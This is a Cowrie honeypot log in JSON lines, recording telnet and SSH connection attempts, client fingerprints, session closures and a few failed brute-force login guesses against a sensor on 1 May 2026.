{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7919232de01","protocol":"telnet","message":"New connection: 162.253.42.116:40520 (10.17.0.5:23) [session: d7919232de01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:49.435029Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43444,"dst_ip":"10.17.0.5","dst_port":23,"session":"6abb4b1eee2c","protocol":"telnet","message":"New connection: 162.253.42.116:43444 (10.17.0.5:23) [session: 6abb4b1eee2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:52.102528Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":44684,"dst_ip":"10.17.0.5","dst_port":23,"session":"84329d55880d","protocol":"telnet","message":"New connection: 162.253.42.116:44684 (10.17.0.5:23) [session: 84329d55880d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:53.135246Z"}
{"eventid":"cowrie.session.closed","duration":34.18841528892517,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:57:56.414733Z","src_ip":"162.253.42.116","session":"ab8f142012d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56204,"dst_ip":"10.17.0.5","dst_port":23,"session":"4580a4516efc","protocol":"telnet","message":"New connection: 162.253.42.116:56204 (10.17.0.5:23) [session: 4580a4516efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:02.768134Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":32814,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a12d35a9a01","protocol":"telnet","message":"New connection: 162.253.42.116:32814 (10.17.0.5:23) [session: 2a12d35a9a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:07.781955Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43794,"dst_ip":"10.17.0.5","dst_port":23,"session":"012c59509f7d","protocol":"telnet","message":"New connection: 162.253.42.116:43794 (10.17.0.5:23) [session: 012c59509f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:16.524221Z"}
{"eventid":"cowrie.session.closed","duration":34.07615923881531,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:23.511087Z","src_ip":"162.253.42.116","session":"d7919232de01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53620,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c235dc3b8dd","protocol":"telnet","message":"New connection: 162.253.42.116:53620 (10.17.0.5:23) [session: 6c235dc3b8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:25.867501Z"}
{"eventid":"cowrie.session.closed","duration":34.66910743713379,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:27.804271Z","src_ip":"162.253.42.116","session":"84329d55880d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57098,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1ca31aaceb5","protocol":"ssh","message":"New connection: 159.203.92.129:57098 (159.203.135.109:22) [session: c1ca31aaceb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:28.309928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:28.314416Z","src_ip":"159.203.92.129","session":"c1ca31aaceb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:28.318387Z","src_ip":"159.203.92.129","session":"c1ca31aaceb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aminuosi","password":"123456","message":"login attempt [aminuosi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:28.327393Z","src_ip":"159.203.92.129","session":"c1ca31aaceb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.232426404953,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:28.334825Z","src_ip":"162.253.42.116","session":"6abb4b1eee2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:29.333530Z","src_ip":"159.203.92.129","session":"c1ca31aaceb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.81524848937988,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:37.583202Z","src_ip":"162.253.42.116","session":"4580a4516efc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38680,"dst_ip":"10.17.0.5","dst_port":23,"session":"81113dc51be0","protocol":"telnet","message":"New connection: 162.253.42.116:38680 (10.17.0.5:23) [session: 81113dc51be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:38.626673Z"}
{"eventid":"cowrie.session.closed","duration":34.07935285568237,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:41.861187Z","src_ip":"162.253.42.116","session":"2a12d35a9a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.025867223739624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:52.549926Z","src_ip":"162.253.42.116","session":"012c59509f7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40bc63da4b3","protocol":"telnet","message":"New connection: 104.248.46.74:53056 (159.203.135.109:23) [session: b40bc63da4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:58:54.241710Z"}
{"eventid":"cowrie.session.closed","duration":37.559751749038696,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:03.427142Z","src_ip":"162.253.42.116","session":"6c235dc3b8dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56508,"dst_ip":"159.203.135.109","dst_port":22,"session":"951901646125","protocol":"ssh","message":"New connection: 159.203.92.129:56508 (159.203.135.109:22) [session: 951901646125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:10.938810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:10.943959Z","src_ip":"159.203.92.129","session":"951901646125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:10.949239Z","src_ip":"159.203.92.129","session":"951901646125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aminuosi","password":"qazplm74","message":"login attempt [aminuosi/qazplm74] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:10.960195Z","src_ip":"159.203.92.129","session":"951901646125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:11.966561Z","src_ip":"159.203.92.129","session":"951901646125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.630595684051514,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:13.257149Z","src_ip":"162.253.42.116","session":"81113dc51be0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.054866790771484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:30.296469Z","src_ip":"104.248.46.74","session":"b40bc63da4b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41176,"dst_ip":"159.203.135.109","dst_port":23,"session":"403eb4427f89","protocol":"telnet","message":"New connection: 185.26.126.47:41176 (159.203.135.109:23) [session: 403eb4427f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:31.804930Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42728,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f413ad24329","protocol":"telnet","message":"New connection: 162.253.42.116:42728 (10.17.0.5:23) [session: 2f413ad24329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:32.981957Z"}
{"eventid":"cowrie.session.closed","duration":5.839646100997925,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:37.644453Z","src_ip":"185.26.126.47","session":"403eb4427f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":38312,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f2319d19798","protocol":"telnet","message":"New connection: 208.82.116.131:38312 (159.203.135.109:23) [session: 0f2319d19798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:46.065962Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54820,"dst_ip":"159.203.135.109","dst_port":23,"session":"18ea0ae78048","protocol":"telnet","message":"New connection: 185.26.126.47:54820 (159.203.135.109:23) [session: 18ea0ae78048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:48.144749Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7522f9e5526","protocol":"telnet","message":"New connection: 162.253.42.116:33272 (10.17.0.5:23) [session: f7522f9e5526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:48.258725Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":57946,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fffa8e00857","protocol":"ssh","message":"New connection: 102.213.34.99:57946 (10.17.0.5:22) [session: 4fffa8e00857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:48.873348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:48.877980Z","src_ip":"102.213.34.99","session":"4fffa8e00857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:49.050403Z","src_ip":"102.213.34.99","session":"4fffa8e00857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"12345678","message":"login attempt [reza/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:49.763469Z","src_ip":"102.213.34.99","session":"4fffa8e00857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:50.937152Z","src_ip":"102.213.34.99","session":"4fffa8e00857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36462,"dst_ip":"10.17.0.5","dst_port":23,"session":"a95d3571d09a","protocol":"telnet","message":"New connection: 162.253.42.116:36462 (10.17.0.5:23) [session: a95d3571d09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:50.941682Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44154,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cffd2b4584e","protocol":"ssh","message":"New connection: 159.203.92.129:44154 (159.203.135.109:22) [session: 7cffd2b4584e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:53.859915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:53.864890Z","src_ip":"159.203.92.129","session":"7cffd2b4584e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:53.870632Z","src_ip":"159.203.92.129","session":"7cffd2b4584e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:53.882483Z","src_ip":"159.203.92.129","session":"7cffd2b4584e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.469949960708618,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:54.614581Z","src_ip":"185.26.126.47","session":"18ea0ae78048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:59:54.889174Z","src_ip":"159.203.92.129","session":"7cffd2b4584e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55308,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40319c33076","protocol":"telnet","message":"New connection: 162.253.42.116:55308 (10.17.0.5:23) [session: f40319c33076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:07.540788Z"}
{"eventid":"cowrie.session.closed","duration":36.3060040473938,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:09.287841Z","src_ip":"162.253.42.116","session":"2f413ad24329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.57778859138489,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:22.836391Z","src_ip":"162.253.42.116","session":"f7522f9e5526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33515405654907,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:25.276759Z","src_ip":"162.253.42.116","session":"a95d3571d09a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.23321986198425,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:29.299051Z","src_ip":"208.82.116.131","session":"0f2319d19798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53992,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f00ae5a4cd5","protocol":"telnet","message":"New connection: 162.253.42.116:53992 (10.17.0.5:23) [session: 9f00ae5a4cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:33.165462Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60894,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec87eb17e07","protocol":"telnet","message":"New connection: 162.253.42.116:60894 (10.17.0.5:23) [session: 8ec87eb17e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:38.712097Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54062,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a0cc9340d86","protocol":"ssh","message":"New connection: 159.203.92.129:54062 (159.203.135.109:22) [session: 4a0cc9340d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:40.596878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:00:40.602779Z","src_ip":"159.203.92.129","session":"4a0cc9340d86","protocol":"ssh"}
